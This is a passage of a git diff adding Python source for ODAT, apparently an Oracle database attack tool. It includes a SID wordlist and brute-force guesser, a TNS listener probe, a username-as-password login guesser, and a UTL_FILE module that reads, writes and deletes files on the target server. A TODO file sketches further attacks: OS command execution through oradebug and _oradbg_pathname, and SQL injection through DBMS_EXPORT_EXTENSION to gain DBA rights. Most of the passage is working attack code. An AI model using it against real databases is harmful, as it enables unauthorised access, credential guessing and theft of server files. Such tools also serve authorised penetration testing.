@@ +#!/usr/bin/python +# -*- coding: utf-8 -*- + +from OracleDatabase import OracleDatabase +from time import sleep +from itertools import permutations +import logging, string +from Tnscmd import Tnscmd +from Constants import * + +class SIDGuesser (OracleDatabase): + ''' + SID guesser + ''' + def __init__(self, args, SIDFile, timeSleep=0): + ''' + Constructor + ''' + logging.debug("SIDGuesser object created") + OracleDatabase.__init__(self,args) + self.SIDFile = SIDFile + self.sids = [] + self.valideSIDS = [] + self.args['SYSDBA'] = False + self.args['SYSOPER'] = False + self.timeSleep = timeSleep + self.NO_GOOD_SID_STRING_LIST = ["listener does not currently know of service requested"] + + def getValidSIDs(self): + ''' + return a list containing valid sids found + ''' + return self.valideSIDS + + def appendValideSID (self, sid): + ''' + Append to self.valideSIDS a new DIS if no in the list + ''' + if sid not in self.valideSIDS: + self.valideSIDS.append(sid) + + def __setUserAndPassword__(self): + ''' + User and password random + ''' + self.args['user'] = self.__generateRandomString__(nb=10) + self.args['password'] = self.__generateRandomString__(nb=10) + + + def __loadSIDsFromFile__(self): + ''' + return list containing SIDS + ''' + sids = [] + logging.info('Load SIDS stored in the {0} file'.format(self.SIDFile)) + f = open(self.SIDFile) + for l in f: sids.append(l.replace('\n','').replace('\t','')) + f.close() + return sorted(sids) + + def __testIfAGoodSID__(self): + ''' + Test if it is a good SID + ''' + no_good_sid_found = False + self.__setUserAndPassword__() + self.__generateConnectionString__() + logging.debug("Try to connect with the {0} SID ({1})".format(self.args['sid'],self.args['connectionStr'])) + status = self.connection() + if self.__needRetryConnection__(status) == True: + status = self.__retryConnect__(nbTry=4) + if status != None : + for aNoGoodString in self.NO_GOOD_SID_STRING_LIST: + if aNoGoodString in str(status): + no_good_sid_found = True + break + if no_good_sid_found == False: + self.appendValideSID(self.args['sid']) + logging.info("The {0} SID is valid (Server message: {1})".format(self.args['sid'],str(status))) + self.close() + + def searchKnownSIDs(self): + ''' + Search valid SIDs THANKS TO a well known sid list + ''' + self.args['print'].subtitle("Searching valid SIDs thanks to a well known SID list on the {0}:{1} server".format(self.args['server'], self.args['port'])) + self.sids += self.__loadSIDsFromFile__() + pbar,nb = self.getStandardBarStarted(len(self.sids)), 0 + logging.info('Start the research') + for aSID in self.sids : + nb += 1 + pbar.update(nb) + self.args['sid'] = aSID + + self.__testIfAGoodSID__() + + sleep(self.timeSleep) + pbar.finish() + return True + + def bruteforceSIDs(self, size=4, charset=string.ascii_uppercase): + ''' + Bruteforce_sid + ''' + self.args['print'].subtitle("Searching valid SIDs thanks to a brute-force attack on {2} chars now ({0}:{1})".format(self.args['server'], self.args['port'], size)) + pbar,nb = self.getStandardBarStarted(len(charset)**size), 0 + logging.info('Start the research') + for aSID in permutations(list(charset), size): + nb +=1 + pbar.update(nb) + self.args['sid'] = ''.join(aSID) + + self.__testIfAGoodSID__() + + sleep(self.timeSleep) + pbar.finish() + return True + + def loadSidsFromListenerAlias(self): + ''' + Append ALIAS from listener into the SID list to try ALIAS like SID + ''' + logging.info('Put listener ALIAS into the SID list to try ALIAS like SID') + tnscmd = Tnscmd(self.args) + tnscmd.getInformation() + self.sids += tnscmd.getAlias() + +def runSIDGuesserModule(args): + ''' + Run the SIDGuesser module + ''' + args['print'].title("Searching valid SIDs") + sIDGuesser = SIDGuesser(args,args['sids-file'],timeSleep=args['timeSleep']) + if args['no-alias-like-sid'] == False : sIDGuesser.loadSidsFromListenerAlias() + sIDGuesser.searchKnownSIDs() + for aSIDSize in range(1, args['sids-max-size']+1): + sIDGuesser.bruteforceSIDs(size=aSIDSize, charset=args['sid-charset']) + validSIDsList = sIDGuesser.getValidSIDs() + if validSIDsList == []: + args['print'].badNews("No found a valid SID".format(args['server'], args['port'])) + exit(EXIT_NO_SIDS) + else : + args['print'].goodNews("SIDs found on the {0}:{1} server: {2}".format(args['server'], args['port'], ','.join(validSIDsList))) + return validSIDsList + + diff --git a/SMB.py b/SMB.py new file mode 100644 index 0000000..fc7e6c3 --- /dev/null +++ b/SMB.py @@ -0,0 +1,16 @@ +#!/usr/bin/python +# -*- coding: utf-8 -*- + +from OracleDatabase import OracleDatabase +import logging + +class SMB (OracleDatabase): + ''' + Allow the database to connect to a smb share + ''' + def __init__(self,args): + ''' + Constructor + ''' + logging.debug("SMB object created") + OracleDatabase.__init__(self,args) diff --git a/TODO.txt b/TODO.txt new file mode 100644 index 0000000..865ffb1 --- /dev/null +++ b/TODO.txt @@ -0,0 +1,41 @@ +############################################################################################################################### + ODAT +############################################################################################################################### +----------- + HIGH +----------- +1- Read files with DBMS_LOB + DECLARE + buf varchar2(4096); + BEGIN + Lob_loc:= BFILENAME(‘MEDIA_DIR’, ‘rds.txt’); + DBMS_LOB.OPEN (Lob_loc, DBMS_LOB.LOB_READONLY); + DBMS_LOB.READ (Lob_loc, 1000, 1, buf); + dbms_output.put_line(utl_raw.cast_to_varchar2(buf)); + DBMS_LOB.CLOSE (Lob_loc); + END; +2- Executing Code as SYSDBA: "oradebug setmypid", oradebug call system “/bin/touch -f /home/oracle/rds.txt”Function returned 0 + http://blog.red-database-security.com/2011/09/17/disable-auditing-and-running-os-commands-using-oradebug/ + http://www.petefinnigan.com/weblog/archives/00001353.htm +3- Remonter un le SID "BLABLA" lorsque l'alias est sous la forme '.H......"..<(DESCRIPTION=(TMP=)(VSNNUM=0)(ERR=0)(ALIAS=listener_BLABLA))' +4- get the remote version database thanks to the banner. Tnsping can be used +----------- + MEDIUM +----------- +1- To Transfert files via DBMS_SCHEDULER.get_file (http://docs.oracle.com/cd/B28359_01/appdev.111/b28419/d_sched.htm#BABDDBFH) +2- Implement SQL Injection via Oracle DBMS_EXPORT_EXTENSION in Oracle 9i / 10g to grant the DBA permission (http://www.red-database-security.com/exploits/oracle-sql-injection-oracle-dbms_export_extension.html) +3- Sniffing HTTP NTLM with HTTP GET Request utl_http or HTTPUriType, It's possible? +4- Read files with XMLType +5- Create files with DBMS_XMLDOM +6- Execute system command with PL/SQL native (undocumented) +7- Create an option for each module to show sql command used by this one. The aim : when the tool can't be used, sql commands generated by the tool can be used. + +----------- + LOW +----------- +1- To Transfert files via DBMS_FILE_TRANSFER (http://psoug.org/reference/dbms_file_trans.html). Need an Oracle database installed localy because need database link. +2- Vérifier qu'il y a du chiffrement ? Que faire ? +3- Vérifier comment st stockés les mots de passe dans l'application +4- Lister les tables sensibles tq login, password +5- Execute command system with "alter system set “_oradbg_pathname”=‘/tmp/debug.sh’;" + Alter system set is an undocumented parameter (since Oracle 10g) that allows you to specify the name of diff --git a/Tnscmd.py b/Tnscmd.py new file mode 100644 index 0000000..40b64aa --- /dev/null +++ b/Tnscmd.py @@ -0,0 +1,90 @@ +#!/usr/bin/python +# -*- coding: utf-8 -*- + +import logging,struct, socket, re + +class Tnscmd (): + ''' + Get information about the oracle database service + ''' + def __init__(self,args): + ''' + Constructor + ''' + logging.debug("Tnscmd object created") + self.args = args + self.recvdata = "" + self.alias = [] + + def getInformation(self,cmd='ping'): + ''' + Get information about the oracle database service + ''' + command = "(CONNECT_DATA=(COMMAND={0}))".format(cmd) + commandlen = len(command) + #logging.info("Sending {0} to {1}:{2} in order to get ALIAS".format(command,self.args['server'],self.args['port'])) + clenH = commandlen >> 8 + clenL = commandlen & 0xff + # calculate packet length + packetlen = commandlen + 58; # "preamble" is 58 bytes + plenH = packetlen >> 8 + plenL = packetlen & 0xff + # decimal offset + # 0: packetlen_high packetlen_low + # 26: cmdlen_high cmdlen_low + # 58: command + packet = [plenH, plenL, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, + 0x01, 0x36, 0x01, 0x2c, 0x00, 0x00, 0x08, 0x00, + 0x7f, 0xff, 0x7f, 0x08, 0x00, 0x00, 0x00, 0x01, + clenH, clenL, 0x00, 0x3a, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x34, 0xe6, 0x00, 0x00, + 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00] + #put the command in packet + for c in command : packet.append(ord(c)) + sendbuf = ''.join([struct.pack('B', val) for val in packet]) + #logging.debug("connect to this service") + try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + logging.debug("Connection to {0}:{1}".format(self.args['server'],int(self.args['port']))) + s.connect((self.args['server'],int(self.args['port']))) + logging.debug("writing {0} bytes".format(len(sendbuf))) + s.sendall(sendbuf) + logging.debug("reading data") + # read until socket EOF + while 1: + data = s.recv(1024) + self.recvdata += data + if not data: break + s.close() + except Exception,e: + logging.critical("Connection Error: {0}".format(e)) + # 1st 12 bytes have some meaning which so far eludes me + #logging.info('Data received: {0}'.format(repr(self.recvdata))) + self.__getAliasStrg__() + + def __getAliasStrg__(self): + ''' + load aliasstring from self.recvdata + ''' + alias = re.findall(r'(?<=ALIAS).+?(?=\))', self.recvdata, flags=re.IGNORECASE) + for anAlias in alias : self.alias.append(anAlias.replace('\n','').replace(' ','').replace('\t','').replace('=','')) + #logging.info("Alias found: {0}".format(self.alias)) + + def getAlias(self): + ''' + return alias list + ''' + self.getInformation() + return self.alias + +''' +args = {} +args['server'] = '192.168.142.73' +args['port'] = '1521' +tnscmd = Tnscmd(args) +tnscmd.getInformation() +''' + + diff --git a/UsernameLikePassword.py b/UsernameLikePassword.py new file mode 100644 index 0000000..ebe13d0 --- /dev/null +++ b/UsernameLikePassword.py @@ -0,0 +1,73 @@ +#!/usr/bin/python +# -*- coding: utf-8 -*- + +from OracleDatabase import OracleDatabase +import logging,cx_Oracle +from Utils import ErrorSQLRequest, checkOptionsGivenByTheUser +from Constants import * +from PasswordGuesser import PasswordGuesser, runPasswordGuesserModule + +class UsernameLikePassword (OracleDatabase): + ''' + Allow to connect to the database using each Oracle username like the password + ''' + def __init__(self,args): + ''' + Constructor + ''' + logging.debug("UsernameLikePassword object created") + OracleDatabase.__init__(self,args) + self.allUsernames = [] + self.validAccountsList = [] + + def __loadAllUsernames__(self): + ''' + Get all usernames from the ALL_USERS table + ''' + logging.info('Get all usernames from the ALL_USERS table') + query = "select username from ALL_USERS" + response = self.__execQuery__(query=query,ld=['username']) + if isinstance(response,Exception) : + logging.info('Error with the SQL request {0}: {1}'.format(query,str(response))) + return response + else : + if response == []: self.allUsernames = [] + else: + for e in response : self.allUsernames.append(e['username']) + logging.info("Oracle usernames stored in the ALL_USERS table: {0}".format(self.allUsernames)) + + def tryUsernameLikePassword(self): + ''' + Try to connect to the DB with each Oracle username using the username like the password + ''' + accounts = [] + self.__loadAllUsernames__() + passwordGuesser = PasswordGuesser(self.args,"",timeSleep=self.args['timeSleep']) + for usern in self.allUsernames: accounts.append([usern,usern]) + passwordGuesser.accounts = accounts + passwordGuesser.searchValideAccounts() + self.validAccountsList = passwordGuesser.valideAccounts + + def testAll (self): + ''' + Test all functions + ''' + pass + +def runUsernameLikePassword(args): + ''' + Run the UsernameLikePassword module + ''' + status = True + usernameLikePassword = UsernameLikePassword(args) + status = usernameLikePassword.connection(stopIfError=True) + #Option 1: UsernameLikePassword + if args['run'] !=None : + args['print'].title("Oracle users have not the password identical to the username ?") + usernameLikePassword.tryUsernameLikePassword() + if usernameLikePassword.validAccountsList == {}: + args['print'].badNews("No found a valid account on {0}:{1}/{2}".format(args['server'], args['port'], args['sid'])) + else : + args['print'].goodNews("Accounts found on {0}:{1}/{2}: {3}".format(args['server'], args['port'], args['sid'],usernameLikePassword.validAccountsList)) + + diff --git a/Utils.py b/Utils.py new file mode 100644 index 0000000..bf102b7 --- /dev/null +++ b/Utils.py @@ -0,0 +1,204 @@ +#!/usr/bin/python +# -*- coding: utf-8 -*- + +import re, logging, platform,time +from sys import exit +from sys import stdout +from datetime import datetime +import os.path, cx_Oracle +if os.name == 'nt': + import ntpath +from subprocess import STDOUT, Popen, PIPE +from socket import inet_aton + +def generateUniqueNameFile (): + ''' + Genere un nom de fichier unique à partir de la date et heure courante + ''' + return datetime.now().strftime("%Y-%m-%d_%H-%M-%S") + +class ErrorSQLRequest(Exception): + ''' + ''' + def __init__(self, e, query=None): + ''' + ''' + self.errormsg = str(e) + if query != None : + self.query = query + + def __str__(self): + ''' + ''' + return '`'+str(self.errormsg.replace('\n',' ').replace('\t',' '))+'`' + + def generateInfoAboutError(self, query=None): + ''' + Return explanations,proofs,complianceStatus + ''' + if query == None : + explanations = "Error with the query: '{0}'".format(self.query) + else : + explanations = "Error with the query: '{0}'".format(query) + proofs = "Error message: {0}".format(self.__str__()) + complianceStatus = -2 + return explanations, proofs, complianceStatus + +def checkOracleVersion(args): + ''' + ''' + VERSIONS_TESTED = [11] + cursorRep = execThisQuery(args,"select * from product_component_version",["PRODUCT","VERSION","STATUS"]) + for l in cursorRep: + if "Oracle Database" in l['PRODUCT']: + logging.info("The '{0}' version is: {1}".format(l['PRODUCT'],l['VERSION'])) + if l['VERSION'][:2] in VERSIONS_TESTED : logging.warn("The version of the Oracle database is not in {0}".format(', '.join(VERSIONS_TESTED))) + +def normalizePath(path1,path2): + ''' + Normalise un path sous windows en concaténant 2 paths + ''' + userPlatform = platform.system().upper() + if userPlatform == "WINDOWS": + return ntpath.normpath(ntpath.join(path1, path2)) + elif userPlatform == "LINUX": + return os.path.join(path1, path2) + else : + return None + +def areEquals(o1,o2): + ''' + retourne True si o1 == o2 (case insensitive) + ''' + if o1 == None : + o1 = "" + if o2 == None : + o2 = "" + if type(o1) is datetime : + o1 = o1.ctime() + if type(o2) is datetime : + o2 = o2.ctime() + if type(o1) is str and type(o2) is str: + if o1.lower() == o2.lower() : return True + else : return False + else : logging.error("Bad comparison in the areEquals function: o1:{0}, o2:{1}".format(type(o1),type(o2))) + +def getOracleConnection(args, connectId): + ''' + Return an Oracle object connected to the database thanks to the Oracle connection string (connectId) + ''' + try: + if args['SYSDBA'] == True : + return cx_Oracle.connect(connectId, mode=cx_Oracle.SYSDBA) + elif args['SYSOPER'] == True : + return cx_Oracle.connect(connectId, mode=cx_Oracle.SYSOPER) + else : + return cx_Oracle.connect(connectId) + except Exception, e: + logging.error("Impossible to connect to the database: {0}".format(str(e))) + exit(-1) + +def configureLogging(args): + ''' + Configure le logging + ''' + if args['verbose']==0: level=logging.WARNING + elif args['verbose']==1: level=logging.INFO + elif args['verbose']>=2: level=logging.DEBUG + logging.basicConfig(format='%(levelname)s: %(message)s',level=level) + +def execSystemCmd (cmd): + ''' + Execute a commande with popen + Return None if an error + ''' + p = Popen(cmd, stdin=PIPE, stdout=PIPE, stderr=PIPE, close_fds=True, shell=True) + stdout, stderr = p.communicate() + if stderr != "" : + logging.error("Problem when execuritng the command \'{0}\':\n{1}".format(cmd, stderr[:-1])) + return None + else : + if stdout != "" : + stdout = stdout[:-1] + logging.debug("Command '{0}' success. Data returned:\n{1}".format(cmd,stdout)) + else : + logging.debug("Command '{0}' success.".format(cmd)) + return stdout + +def anAccountIsGiven (args): + ''' + return True if an account is given in args + Otehrwise, return False + - oeprations muste be a list + - args must be a dictionnary + ''' + if args['user'] == None and args['password'] == None: + logging.critical("You must give a valid account with the '-U username' option and the '-P password' option.") + return False + elif args['user'] != None and args['password'] == None: + logging.critical("You must give a valid account with the '-P password' option.") + return False + elif args['user'] == None and args['password'] != None: + logging.critical("You must give a valid username thanks to the '-U username' option.") + return False + else : + return True + +def anOperationHasBeenChosen(args, operations): + ''' + Return True if an operation has been choosing. + Otherwise return False + - oeprations muste be a list + - args must be a dictionnary + ''' + for key in operations: + if args.has_key(key) == True: + if key == "test-module": + if args[key] == True: return True + elif args[key] != None and args[key] != False : return True + logging.critical("An operation on this module must be chosen thanks to one of these options: --{0};".format(', --'.join(operations))) + return False + +def ipHasBeenGiven(args): + ''' + Return True if an ip has been given + Otherwise return False + - args must be a dictionnary + ''' + if args.has_key('server') == False or args['server'] == None: + logging.critical("The server addess must be given thanks to the '-s IPadress' option.") + return False + else : + try: + inet_aton(args['server']) + except Exception,e: + logging.critical("The server addess must be an IPv4 address") + return False + return True + +def sidHasBeenGiven(args): + ''' + Return True if an ip has been given + Otherwise return False + - args must be a dictionnary + ''' + if args.has_key('sid') == False or args['sid'] == None: + logging.critical("The server SID must be given thanks to the '-d SID' option.") + return False + return True + +def checkOptionsGivenByTheUser(args,operationsAllowed,checkAccount=True): + ''' + Return True if all options are OK + Otherwise return False + - args: list + - operationsAllowed : opertaions allowed with this module + ''' + if ipHasBeenGiven(args) == False : return False + elif sidHasBeenGiven(args) == False : return False + elif checkAccount==True and anAccountIsGiven(args) == False : return False + elif anOperationHasBeenChosen(args,operationsAllowed) == False : return False + return True + + + diff --git a/UtlFile.py b/UtlFile.py new file mode 100644 index 0000000..8865f7f --- /dev/null +++ b/UtlFile.py @@ -0,0 +1,322 @@ +#!/usr/bin/python +# -*- coding: utf-8 -*- + +from DirectoryManagement import DirectoryManagement +import logging, random, string, cx_Oracle +from hashlib import md5 +from Utils import ErrorSQLRequest, checkOptionsGivenByTheUser +from Constants import * + +class UtlFile (DirectoryManagement): + ''' + Allow the user to read/write file on the remote database system with UTL_FILE + ''' + def __init__(self,args): + ''' + Constructor + ''' + logging.debug("UtlFile object created") + DirectoryManagement.__init__(self,args) + + def __createFile__(self,nameFile, data, appendMode=False): + ''' + Create a file named nameFile in the directoryName directory containing data + Return True if no error, otherwise return exception + ''' + logging.debug('Create the {0} file remotly'.format(nameFile)) + strAddData = "" + #2.a- Create the remote binary file if exist + UTL_FILE_CREATE_FILE = "DECLARE fi UTL_FILE.FILE_TYPE; bu RAW(32766); BEGIN fi:=UTL_FILE.fopen('{0}','{1}','wb',32766); UTL_FILE.fclose(fi); END;" + request = UTL_FILE_CREATE_FILE.format(self.directoryName, nameFile) + response = self.__execPLSQL__(request) + if isinstance(response,Exception): + logging.info('Impossible to create file with UTL_FILE: {0}'.format(self.cleanError(response))) + return response + #2.b- Append to the remote file + UTL_FILE_CREATE_FILE = "DECLARE fi UTL_FILE.FILE_TYPE; bu RAW(32766); BEGIN bu:=hextoraw('{0}'); fi:=UTL_FILE.fopen('{1}','{2}','ab',32766); UTL_FILE.put_raw(fi,bu,TRUE); UTL_FILE.fclose(fi); END;" + for aPart in [data[i:i+3000] for i in range(0, len(data), 3000)]: + request = UTL_FILE_CREATE_FILE.format(aPart.encode("hex"), self.directoryName, nameFile) + response = self.__execPLSQL__(request) + if isinstance(response,Exception): + logging.info('Impossible to append to the file: {0}'.format(self.cleanError(response))) + return response + return True + + def putFile (self,remotePath, remoteNameFile, localFile=None, data=None): + ''' + Create the localFile file (named remoteNameFile) on the remote system in the remotePath directory + Choice between localFile or data + Return True if no error, otherwise return exception + ''' + if (localFile == None and data==None) or (localFile != None and data!=None): + logging.critical("To put a file, choose between a localFile or data") + if data==None : logging.info('Copy the {0} file to the {1} remote path like {2}'.format(localFile,remotePath,remoteNameFile)) + else : logging.info('Copy this data : `{0}` in the {2} in the {1} remote path'.format(data,remotePath,remoteNameFile)) + self.__setDirectoryName__() + status = self.__createOrRemplaceDirectory__(remotePath) + if isinstance(status,Exception): return status + if localFile != None: + data = self.__loadFile__(localFile) + status = self.__createFile__(remoteNameFile, data) + if isinstance(status,Exception): return status + self.__dropDirectory__() + return True + + def appendFile(self,remotePath, remoteNameFile, localFile=None, data=None): + ''' + Append to the remoteNameFile file (on the remote system in the remotePath directory) data stored on the localFile file + Return True if no error, otherwise return exception + ''' + logging.info('Append data stored in the {0} file to the {1} file stored in {2}'.format(localFile,remoteNameFile,remotePath)) + if (localFile == None and data==None) or (localFile != None and data!=None): + logging.error("To append to a file, choose between a localFile or data") + self.__setDirectoryName__() + self.__createOrRemplaceDirectory__(remotePath) + if localFile != None: + data = self.__loadFile__(localFile) + self.__createFile__(remoteNameFile, data, appendMode=True) + status = self.__dropDirectory__() + if isinstance(status,Exception): + return status + return True + + def getFile2 (self, remotePath, remoteNameFile): + ''' + Create the localFile file containing data stored on the remoteNameFile (stored in the remotePath) + ''' + logging.info("Read the {0} remote file stored in {1}".format(remoteNameFile,remotePath)) + data = "" + self.__setDirectoryName__() + status = self.__createOrRemplaceDirectory__(remotePath) + if isinstance(status,Exception): return status + #Get data of the remote file + UTL_FILE_GET_FILE = "DECLARE l_fileID UTL_FILE.FILE_TYPE; l_buffer VARCHAR2(32000); hexdata VARCHAR2(32000); BEGIN l_fileID := UTL_FILE.FOPEN ('{0}', '{1}', 'r', 32000); LOOP UTL_FILE.GET_LINE(l_fileID, l_buffer, 32000); select RAWTOHEX(l_buffer) into hexdata from dual; dbms_output.put_line(hexdata); END LOOP; EXCEPTION WHEN NO_DATA_FOUND THEN UTL_FILE.fclose(l_fileID); NULL; END;" + cursor = cx_Oracle.Cursor(self.args['dbcon']) + try : + cursor.callproc("dbms_output.enable") + try: + cursor.execute(UTL_FILE_GET_FILE.format(self.directoryName, remoteNameFile)) + except Exception, e: + logging.info("Impossible to execute the query `{0}`: {1}".format(UTL_FILE_GET_FILE, self.cleanError(e))) + self.__dropDirectory__() + return ErrorSQLRequest(e) + else : + statusVar = cursor.var(cx_Oracle.NUMBER) + lineVar = cursor.var(cx_Oracle.STRING) + while True: + cursor.callproc("dbms_output.get_line", (lineVar, statusVar)) + if statusVar.getvalue() != 0: + break + line = lineVar.getvalue() + if line == None : + line = '' + data += line.decode('hex')+'\n' + cursor.close() + except Exception, e: + self.__dropDirectory__() + return ErrorSQLRequest(e) + self.__dropDirectory__() + return data + + def getFile (self, remotePath, remoteNameFile): + ''' + return data stored in the remoteNameFile file of the remotePath path + Return False if file not exist + ''' + logging.info("Read the {0} remote file stored in {1}".format(remoteNameFile,remotePath)) + data, currentByte = "", 0 + self.__setDirectoryName__() + status = self.__createOrRemplaceDirectory__(remotePath) + if isinstance(status,Exception): return status + #Get data of the remote file + #UTL_FILE_GET_FILE = "DECLARE l_fileID UTL_FILE.FILE_TYPE; l_buffer VARCHAR2(32000); hexdata VARCHAR2(32000); l_exists BOOLEAN; l_file_length NUMBER; l_blocksize NUMBER; BEGIN UTL_FILE.fgetattr('{0}', '{1}', l_exists, l_file_length, l_blocksize); l_fileID := UTL_FILE.FOPEN ('{0}', '{1}', 'r', 1000); UTL_FILE.FSEEK(l_fileID,0,{2}); LOOP UTL_FILE.GET_LINE(l_fileID, l_buffer, 32000); select RAWTOHEX(l_buffer,{2}) into hexdata from dual; dbms_output.put_line(hexdata); END LOOP; EXCEPTION WHEN NO_DATA_FOUND THEN UTL_FILE.fclose(l_fileID); NULL; END;" + UTL_FILE_GET_FILE = "DECLARE l_fileID UTL_FILE.FILE_TYPE; l_buffer VARCHAR2(5000); hexdata VARCHAR2(10000); BEGIN l_fileID := UTL_FILE.FOPEN ('{0}', '{1}', 'r', 5000); UTL_FILE.FSEEK(l_fileID,{2},0); UTL_FILE.GET_LINE(l_fileID, l_buffer, 5000); select RAWTOHEX(l_buffer) into hexdata from dual; dbms_output.put_line(hexdata); UTL_FILE.fclose(l_fileID); END;" + if self.getFileExist (remotePath, remoteNameFile) == True : + length = self.getLength (remotePath, remoteNameFile) + if length <= 0: + pass + else : + cursor = cx_Oracle.Cursor(self.args['dbcon']) + cursor.callproc("dbms_output.enable") + while currentByte < length: + try: + cursor.execute(UTL_FILE_GET_FILE.format(self.directoryName, remoteNameFile,currentByte)) + except Exception, e: + logging.info("Impossible to execute the query `{0}`: {1}".format(UTL_FILE_GET_FILE, self.cleanError(e))) + self.__dropDirectory__() + return ErrorSQLRequest(e) + else : + statusVar = cursor.var(cx_Oracle.NUMBER) + lineVar = cursor.var(cx_Oracle.STRING) + while True: + cursor.callproc("dbms_output.get_line", (lineVar, statusVar)) + if statusVar.getvalue() != 0: break + line = lineVar.getvalue() + if line == None : line = '' + data += line.decode('hex')+'\n' + currentByte += len(line.decode('hex')+'\n') + logging.info(line.decode('hex')) + cursor.close() + else : data = False + self.__dropDirectory__() + return data + + + + def getLength (self, remotePath, remoteNameFile): + ''' + Get the file length. Return 0 if empty or + ''' + logging.info("Get the file length of the {1}{0} file".format(remoteNameFile,remotePath)) + data = "" + self.__setDirectoryName__() + status = self.__createOrRemplaceDirectory__(remotePath) + if isinstance(status,Exception): return status + UTL_FILE_GET_LENGTH = "DECLARE l_fileID UTL_FILE.FILE_TYPE; l_value VARCHAR2(32000); l_exists BOOLEAN; l_file_length NUMBER; l_blocksize NUMBER; BEGIN UTL_FILE.fgetattr('{0}', '{1}', l_exists, l_file_length, l_blocksize); dbms_output.put_line(l_file_length); END;" + cursor = cx_Oracle.Cursor(self.args['dbcon']) + try : + cursor.callproc("dbms_output.enable") + try: + cursor.execute(UTL_FILE_GET_LENGTH.format(self.directoryName, remoteNameFile)) + except Exception, e: + logging.info("Impossible to execute the query `{0}`: {1}".format(UTL_FILE_GET_LENGTH, self.cleanError(e))) + self.__dropDirectory__() + return ErrorSQLRequest(e) + else : + statusVar = cursor.var(cx_Oracle.NUMBER) + lineVar = cursor.var(cx_Oracle.STRING) + while True: + cursor.callproc("dbms_output.get_line", (lineVar, statusVar)) + if statusVar.getvalue() != 0: + break + line = lineVar.getvalue() + if line == None : + line = '0' + logging.info("The file length is: {0}".format(line)) + return int(line) + cursor.close() + except Exception, e: + self.__dropDirectory__() + return ErrorSQLRequest(e) + self.__dropDirectory__() + return data + + def getFileExist (self, remotePath, remoteNameFile): + ''' + Return true if file exists + ''' + exist = False + logging.info("Test if the {1}{0} file exists".format(remoteNameFile,remotePath)) + self.__setDirectoryName__() + status = self.__createOrRemplaceDirectory__(remotePath) + if isinstance(status,Exception): return status + UTL_FILE_EXIST = "DECLARE l_fileID UTL_FILE.FILE_TYPE; l_value VARCHAR2(32000); l_exists BOOLEAN; l_file_length NUMBER; l_blocksize NUMBER; BEGIN UTL_FILE.fgetattr('{0}', '{1}', l_exists, l_file_length, l_blocksize); dbms_output.put_line(case when l_exists then 'True' else 'False' end); END;" + cursor = cx_Oracle.Cursor(self.args['dbcon']) + try : + cursor.callproc("dbms_output.enable") + try: + cursor.execute(UTL_FILE_EXIST.format(self.directoryName, remoteNameFile)) + except Exception, e: + logging.info("Impossible to execute the query `{0}`: {1}".format(UTL_FILE_EXIST, self.cleanError(e))) + self.__dropDirectory__() + return ErrorSQLRequest(e) + else : + statusVar = cursor.var(cx_Oracle.NUMBER) + lineVar = cursor.var(cx_Oracle.STRING) + while True: + cursor.callproc("dbms_output.get_line", (lineVar, statusVar)) + if statusVar.getvalue() != 0: break + line = lineVar.getvalue() + if line == None : + line = '' + if "True" in line : + logging.debug("The file exist: good news") + return True + elif "False" in line : + logging.debug("The file doesn't exist") + return False + else : return '' + cursor.close() + except Exception, e: + self.__dropDirectory__() + return ErrorSQLRequest(e) + self.__dropDirectory__() + return data + + def deleteFile (self,remotePath, remoteNameFile): + ''' + Delete a remote file + ''' + logging.info("Delete the {0} remote file stored in {1}".format(remoteNameFile,remotePath)) + self.__setDirectoryName__() + status = self.__createOrRemplaceDirectory__(remotePath) + if isinstance(status,Exception): + logging.info("Impossible to delete the file: {0}".format(self.cleanError(response))) + return status + UTL_FILE_DELETE_FILE = "BEGIN UTL_FILE.FREMOVE ('{0}', '{1}'); END;" + response =self.__execPLSQL__(UTL_FILE_DELETE_FILE.format(self.directoryName, remoteNameFile)) + if isinstance(response,Exception): + logging.info("Impossible to delete the file: {0}".format(self.cleanError(response))) + return response + return True + + def testAll(self): + ''' + Test all functions + ''' + folder = self.__generateRandomString__() + self.args['print'].subtitle("UTL_FILE library ?") + logging.info("Simulate the file creation in the {0} folder with UTL_FILE".format(folder)) + logging.info('The file is not created remotly because the folder should not exist') + status = self.putFile (remotePath=folder, remoteNameFile='temp.txt', data="test") + if status == True or self.ERROR_BAD_FOLDER_OR_BAD_SYSTEM_PRIV in str(status): + self.args['print'].goodNews("OK") + else : + self.args['print'].badNews("KO") + + +def runUtlFileModule(args): + ''' + ''' + status = True + if checkOptionsGivenByTheUser(args,["test-module","getFile",'putFile','removeFile']) == False : return EXIT_MISS_ARGUMENT + utlFile = UtlFile(args) + status = utlFile.connection(stopIfError=True) + if args['test-module'] == True : + args['print'].title("Test if the UTL_FILE library can be used") + status = utlFile.testAll() + #Option 1: read file + if args['getFile'] !=None : + args['print'].title("Read the {0} file stored in {1} on the {2} server".format(args['getFile'][1],args['getFile'][0],args['server'])) + #fileExist = utlFile.getFileExist(args['getFile'][0], args['getFile'][1]) + length = utlFile.getLength(args['getFile'][0], args['getFile'][1]) + data = utlFile.getFile(args['getFile'][0], args['getFile'][1]) + if isinstance(data,Exception): + args['print'].badNews("Impossible to read the {0} file: {1}".format(args['getFile'],data)) + else : + if data == False : args['print'].badNews("The {0} file in {1} doesn't exist".format(args['getFile'][1],args['getFile'][0])) + elif data == '' : args['print'].badNews("The {0} file is empty".format(args['getFile'])) + else : + args['print'].goodNews("Data stored in the {0} file sored in {1} (copied in {2} locally):\n{3}".format(args['getFile'][1],args['getFile'][0],args['getFile'][2],data)) + utlFile.writeFile(args['getFile'][2],data) + #Option 2: put file + if args['putFile'] !=None : + args['print'].title("Put the {0} local file in the {1} folder like {2} on the {3} server".format(args['putFile'][2],args['putFile'][0],args['putFile'][1],args['server'])) + status = utlFile.putFile(args['putFile'][0], args['putFile'][1], localFile=args['putFile'][2]) + if isinstance(status,Exception): + args['print'].badNews("Impossible to put the {0} file: {1}".format(args['putFile'][2],status)) + else : + args['print'].goodNews("The {0} file was created on the {1} directory on the {2} server like the {3} file".format(args['putFile'][2], args['putFile'][0], args['server'],args['putFile'][1])) + #Option 3: remove file + if args['removeFile'] !=None : + args['print'].title("Remove the {0} file stored in the {1} folder on the {2} server".format(args['removeFile'][1],args['removeFile'][0],args['server'])) + status = utlFile.deleteFile(args['removeFile'][0], args['removeFile'][1]) + if isinstance(status,Exception): + args['print'].badNews("Impossible to remove the {0} file: 